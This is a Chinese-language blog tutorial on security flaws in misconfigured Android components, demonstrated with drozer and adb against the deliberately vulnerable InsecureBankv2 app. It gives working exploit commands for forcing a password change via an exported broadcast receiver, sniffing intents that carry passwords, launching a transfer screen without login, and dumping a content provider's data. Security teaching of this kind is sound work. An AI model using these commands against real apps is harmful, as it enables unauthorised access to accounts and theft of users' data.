移动端安全开发之四大组件

admin 2024年10月21日23:37:02评论17 views字数 3927阅读13分5秒阅读模式

一、四大组件介绍

对于Android开发者来说,四大组件是绕不过去的,但是很少人知道四大组件要是配置错误会产生什么样的安全风险,这里简单介绍下,也算是抛砖引玉,各位移动大神勿喷。

四大组件,它们分别是:

  • Activity(活动):表示应用中的一个屏幕,通常包含用户界面。每个Activity都有一个生命周期,可以响应用户的交互事件和系统事件,如创建、启动、暂停、恢复、停止和销毁。

  • Service(服务):在后台执行长时间运行的操作,没有用户界面。服务可以与其他应用组件(如Activity)进行通信,以执行某些操作或提供某些功能。

  • Broadcast Receiver(广播接收器):它是一个组件,可以接收来自系统或其他应用程序的广播消息,如电池电量低、手机网络状态变化等。当广播消息到达时,广播接收器会启动应用程序中的某些操作。

  • Content Provider(内容提供器):它是一个组件,用于管理应用程序中的数据。它可以提供应用程序的数据给其他应用程序,也可以使用其他应用程序提供的数据。通过内容提供器,应用程序可以共享数据,如联系人、音乐、图片等。

二、环境搭建及工具

环境搭建:

采用genymotion搭建android运行环境,采用的是Google Nexus 5X Rom版本。这个选定了直接启动即可,没有多余的操作,而且后续可以使用adb连接。

(注:现在很多android的模拟器,但是对于安全研究或者开发者来说,重点还是推荐这个)

工具使用:

采用了drozer,具体安装和操作可以查看官网介绍,这个工具还专门有本书,有兴趣的可以看下

现在已经有了中文版,这本书对于入门移动安全还是挺不错的,我当时看的英文版,推荐英文版,很简单,很好理解。

三、四大组件安全问题

1、不安全的组件配置

组件配置一般都在AndroidManifest.xml中设置,如下面的activity的配置:

移动端安全开发之四大组件

为了更好的检查出错误的配置项,这里可以使用drozer工具,这个工具有人认为比较老了,但是对于组件的扫描和利用我个人觉得还是相当神器的,为了演示方便,我们拿insecurebankv2来做演示:

dz> run app.activity.info -a com.android.insecurebankv2Package: com.android.insecurebankv2  com.android.insecurebankv2.LoginActivity    Permission: null  com.android.insecurebankv2.PostLogin    Permission: null  com.android.insecurebankv2.DoTransfer    Permission: null  com.android.insecurebankv2.ViewStatement    Permission: null  com.android.insecurebankv2.ChangePassword    Permission: null

这里直接列出了没有权限校验的activity

2、错误的Broadcast Receivers

错误配置参考如下:

<receiver  android:name=".MyBroadCastReceiver"    android:exported="true" >  <intent-filter>    <action android:name="theBroadcast" >    </action>  </intent-filter></receiver>

这段代码是一个Android中的广播接收器声明,声明了一个名为"MyBroadCastReceiver"的广播接收器,并且定义了一个action为"theBroadcast"的Intent过滤器。这个广播接收器可以接收到发送到"theBroadcast" action的广播消息。

对于这个咋样利用呢,需要逆向APP代码,这个逆向就不多说了,这个演示APP没有加壳直接反编译即可,找到theBroadcast:

移动端安全开发之四大组件

移动端安全开发之四大组件

漏洞利用:通过drozer或者adb的方式发送广播,可以使用以下命令:

dz> run app.broadcast.send --action theBroadcast --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1234  --extra string newpass Dinesh@123!adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 5554 --es newpass Jack@123#

这个命令将会发送一个action为"theBroadcast"的广播消息,可以被上述代码中的广播接收器所接收并处理。

请注意,这个命令需要在已经连接到设备的adb shell中执行。

大家可以自己试一下,发送这个广播后会收到一个短信,短信会把密码信息打印出来,这个是发送的广播被短信APP接收到了,发送的广播没有权限控制,可以被其他的接收到,可以结合下面这个事例一起看

3、Intent Sniffing and Injection

漏洞利用:

dz> run app.broadcast.info -a com.android.insecurebankv2 -iPackage: com.android.insecurebankv2  com.android.insecurebankv2.MyBroadCastReceiver    Intent Filter:      Actions:        - theBroadcast    Permission: null

利用drozer模块

run app.broadcast.sniff --action theBroadcast 

自己写代码

protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        IntentFilter filter = new IntentFilter("theBroadcast");        MyReceiver receiver = new MyReceiver();        registerReceiver(receiver, filter);        TextView t1 = (TextView) findViewById(R.id.textView);        Bundle extras = getIntent().getExtras();        if (extras != null) {            t1.setText("Phone Number is: " + extras.getString("phonenumber") + " and " + "New Password is: " + extras.getString("newpass"));        }    }

漏洞演示:

移动端安全开发之四大组件

dorzer演示结果:

Broadcast receiver registered to sniff matching intents[*] Output is updated once a second. Press Control+C to exit.Action: theBroadcastRaw: Intent { act=theBroadcastflg=0x10 (has extras) }Extra: newpass=Dinesh@123! (java.lang.String)Extra: phonenumber=15555215554 (java.lang.String)

4、暴露的activity组件配

这个就是我们常说的锁屏绕过类问题,先看组件的配置情况:

移动端安全开发之四大组件

这段代码是一个Android中的Activity声明,声明了一个名为"DoTransfer"的Activity组件,并且在AndroidManifest.xml文件中将其设置为可以被其他应用程序组件访问。具体来说,这里的android:exported="true"属性表示该Activity可以被其他应用程序组件直接启动或访问,而不需要经过权限验证。

漏洞利用:

adb shell am start -n com.android.insecurebankv2/.DoTransfer

发出这个命令后,直接免登入跳转到了转账页面,大家可以自己测试下

5、不安全的Content Provider

组件的错误配置:

 <provider    android:name=".TrackUserContentProvider"    android:authorities="com.android.insecurebankv2.TrackUserContentProvider"    android:exported="true" ></provider>
同时结合代码来看:

移动端安全开发之四大组件

漏洞利用:

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

这个命令执行出去,就可以查询到这个APP在端的数据库数据,可以认为是越权访问了。

后面我们继续介绍下android其他的问题,包括端上的其他问题以及fridra的使用、hook等等。

原文始发于微信公众号(YY的黑板报):移动端安全开发之四大组件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日23:37:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   移动端安全开发之四大组件https://cn-sec.com/archives/1855494.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息